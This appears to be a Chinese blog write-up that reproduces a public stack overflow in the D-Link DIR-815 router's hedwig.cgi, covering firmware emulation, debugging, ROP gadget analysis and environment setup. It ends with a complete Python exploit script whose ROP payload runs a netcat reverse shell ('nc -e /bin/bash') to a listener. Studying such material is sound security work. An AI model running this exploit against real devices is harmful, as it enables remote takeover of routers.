揭秘家用路由器0day漏洞挖掘-week1

badmonkey 2021年08月20日 97次浏览

DIR-815 栈溢出

前言

DIR-815是一款2014年的路由器,其固件存在栈溢出,具体的细节可以参考https://www.exploit-db.com/exploits/33863 。笔者第一次尝试复现路由器的漏洞,复现过程中踩了许多坑,这里做一个记录,以便以后复习。

环境

ubuntu 18.04

qemu-6.00

工具

Binwalk(提取固件)

Buildroot(交叉编译环境)

sasquatch(提取路由器的文件系统)

还有一些其他的工具,具体可以参考揭秘家用路由器0day漏洞挖掘技术

调试分析

gdb配置

由于漏洞点在hedwig.cgi中,首先找到文件后,检查一下文件类型。

file-type

可以看到是一个符号链接,链接的是/htdocs/cgibin架构为mipsel.

笔者是自己编译的qemu,版本比较新6.00,出现了一点问题,使用包管理器安装的一个低版本的qemu-user-static后调试正常,使用qemu调试的方法如下:

qemu-boot

chroot的作用是将根目录/更换为当前目录~/iot/_DIR-815.bin.extracted/squashfs-root,这样子程序所需要的库文件uclibc以及链接器ld-uclibc都会在~/iot/_DIR-815.bin.extracted/squashfs-root下面的lib文件夹中寻找,如果安装了binfmt的话,就需要更改一下符号链接,不然即使chroot了也无法使用当前目录下的lib文件夹。

image-20210820161018596

但是在调试的时候,需要在当前目录下的lib中使用gdb-multiarch调试,不然会各种出错(不知道什么原因,可能是gdb默认在当前目录下寻找动态链接库的原因?)

如果在调试的时候,gdb并没有找到正确的动态链接库(vmmap显示的信息不全,只显示linker)。所以需要手动设置一下gdb的配置。

实际上chroot配置正确,或者binfmt链接正确的目录,是可以找到正确的动态链接文件的

vmmap-info

笔者尝试使用set sysroot更改gdb的链接库根目录,但是貌似不起作用,所以还是使用了binfmt链接的方法。可以使用gdbscript方便调试

set architecture mips
set endian little
target remote :1234
b *0x409A54 
c
vmmap

静态分析

漏洞产生的原因是由于Cookie过长,而CGI中通过getenv("HTTP_COOKIE")获取用户的cookie,IDA中搜索字符串HTTP_COOKIE找到数据交叉引用,只有一个ses_get_uid函数

cookie_xref

对应的函数的交叉引用为

sess_get_uid-xrefs

定位到hedwigcgi_main,发现在sess_get_uid后面有两处sprintf

// part one
sess_get_uid((int)v4);
v6 = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);
// part two
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

v27是栈上的变量,大小为1024bytes,v6v20都是从v4获得的,v4是post数据中的uid=xxxx中的xxxx部分。这部分数据是用户输入的可控数据,因此可以造成栈溢出,文件的保护机制如下:

checksec

因此可以构造ropchain,不过需要确定溢出点到底是第一个sprintf还是第二个sprintf,书中使用的方法是,分别对/var/tmp存在时和不存在时进行了访问请求,根据回显的不同来区分是否存在/var/tmp,并对真实的路由器设备进行检测发现确实存在/var/tmp设备,笔者没有此设备,于是就默认/var/tmp目录存在,并进入第二个sprintf进行溢出。

sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

v27的大小为1024,其中格式字符串大小为51,所以剩下1024-51的空间需要被填充,然后可以覆盖s0-s7以及fp,ra。复杂的函数调用会把s0-s7保存在栈中,栈溢出使得s0-s7可控,由于我们需要构造rop,寻找gadgets的时候优选寻找s0-s7相关的gadgets,通过这几个寄存器可以控制a0-a3(函数调用参数),和跳转地址jalr $s0(类似的gadgets)。

书中构造了system(cmd)的gadgets,首先就是寻找基址和偏移

vmmap 查看映射,或者搭建mips虚拟机寻找基址

其中通过jalr $s0跳转到system的地址,同时在sp被复原后的0x10出布置cmd$a0

.text:000159CC                 addiu   $s5, $sp, 0x14C+var_13C (0x10) // cmd
.text:000159D0                 move    $a1, $s3
.text:000159D4                 move    $a2, $s1
.text:000159D8                 move    $t9, $s0 // 控制s0为system地址
.text:000159DC                 jalr    $t9 ; 
.text:000159E0                 move    $a0, $s5 // 第一个参数

不过由于sprintf会有0x00截断的问题,而system的地址(偏移为0x53200)恰好包含0x00所以需要对$s0进行一定的变换(s0保存了跳转地址)

找到一个s0+1的gadget,这样就可以将末尾的0x00替换掉

.text:000158C8                 move    $t9, $s5 // 跳转到s5
.text:000158CC                 jalr    $t9
.text:000158D0                 addiu   $s0, 1

最终的ropchain如图所示

DIR-815-rop

搭建环境

笔者使用qemu-mipsel-static得到的基址为0x7f738000,本地测试可以进入到system(cmd),但是程序会crash掉。所以决定搭建mips虚拟机,参考k神.内核和磁盘镜像链接如下:

https://people.debian.org/~aurel32/qemu/mipsel/
内核:
vmlinux-2.6.32-5-4kc-malta
磁盘镜像:
debian_squeeze_mipsel_standard.qcow2

网络配置参考这里

创建网桥:

sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up

创建tap0接口,并添加到网桥:

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0

启动镜像

sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

登录虚拟机,用户名密码均为root,配置网卡的ip地址

mips-network

笔者这里采用的是,本地修改好需要使用的配置文件和库文件,然后sftp传到虚拟机上去,不过需要注意符号链接的事情。

服务是基于httpdphpcgi完成的,搭建的虚拟机没有httpd服务和phpcgi程序,所以需要将对应的二进制文件拷贝到虚拟机中。使用的sftp客户端是filezilla,直接用包管理就可以安装了。

httpd

首先找到固件中的httpd(注意别查看一下是不是软链接,这里不是软链接直接拷贝就行),同时将固件中的lib文件夹拷贝到虚拟机的/lib下,同时创建对应的软链接,不然无法正确的启动httpd。动态库链接情况如下

ldd-httpd

创建软链接,完成后能够正常运行httpd

fix-sharedlib

有一个用于生成httpd配置文件的php脚本./etc/services/HTTP/httpcfg.php,不过不能直接用,需要改点东西,最后得到如下的配置文件

Umask 026
PIDFile /var/run/httpd.pid

LogGMT On # 开启日志
ErrorLog /root/log.txt  # 日志文件
Tuning
{
	NumConnections 15
	BufSize 12288
	InputBufSize 4096
	ScriptBufSize 4096
	NumHeaders 100
	Timeout 60
	ScriptTimeout 60
}

Control
{
	Types
	{
		text/html	{ html htm }
		text/xml	{ xml }
		text/plain	{ txt }
		image/gif	{ gif }
		image/jpeg	{ jpg }
		text/css	{ css }
		application/octet-stream { * }
	}
	Specials
	{
		Dump		{ /dump }
		CGI			{ cgi }
		Imagemap	{ map }
		Redirect	{ url }
	}
	External
	{
		/usr/sbin/phpcgi { php }
	}
}

Server
{
	ServerName "Linux, HTTP/1.1, "
	ServerId "1234"
	Family inet 
	Interface eth0 # 虚拟机网卡名称
	Address 192.168.122.12 # 虚拟机网卡的ip地址
	Port 2333 # 空闲的端口
	Virtual
	{
		AnyHost
		Control
		{
			Alias /
			Location /htdocs/web
			IndexNames { index.php }
			External
			{
				/usr/sbin/phpcgi { router_info.xml }
				/usr/sbin/phpcgi { post_login.xml }
			}
		}
       Control
       {
           Alias /smart404
           Location /htdocs/smart404
       }
		Control
		{
			Alias /HNAP1
			Location /htdocs/HNAP1
			External
			{
				/usr/sbin/hnap { hnap }
			}
			IndexNames { index.hnap }
		}
	}
}

将上述的配置文件写入到到/root/conf

phpcgi

首先将htdocs文件夹上传到虚拟机根目录下,cgi文件由于是链接文件所以有点问题,可以打包后上传,或者手动链接。然后将etc文件夹上传到虚拟机根目录,同时创建phpcgi的软链接

ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

启动httpd,发包测试一下

post-data

查看服务器端日志

server-log

同时记录一下服务器端的基址(进程的pid是找规律找出来的,所以直接cat了对应pid下的maps)

uclibc-baseaddr

对应的基址为0x2aaf8000,最后上payload(直接用k神的脚本,比较简单就偷懒了):

from pwn import *
import requests
import sys

def get_payload(offset,libc_addr,cmd):
    payload=b"A"*offset                     #fill
    payload+=p32(libc_addr+0x531ff)        # $s0
    payload+=b"A"*4                         # $s1
    payload+=b"A"*4                         # $s2
    payload+=b"A"*4                         # $s3
    payload+=b"A"*4                         # $s4
    payload+=p32(libc_addr+0x159cc)	   # $s5 
    payload+=b"A"*4                         # $s6 
    payload+=b"A"*4                         # $s7
    payload+=b"A"*4                         # $gp
    payload+=p32(libc_addr+0x158c8)        # $ra
    payload+=b"A"*16                        #fill
    payload+=cmd           	           # shellcode
    return payload

if __name__=="__main__":
    cmd=b"nc -e /bin/bash 192.168.122.1 1234" #填入本机IP&&监听端口(其他反弹shell命令总是不成功)
    fake_cookie=b"uid="+get_payload(0x3cd,0x2aaf8000,cmd)
    header = {
        'Cookie'        : fake_cookie,
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'Content-Length': '100'
        }
    data = {'uid':'kirin'}
    ip_port=sys.argv[1]  
    url="http://"+ip_port+"/hedwig.cgi"
    r=requests.post(url=url,headers=header,data=data)
    log.info("Kirin-say PWN")

效果展示

815-getshell

参考链接

https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN

https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/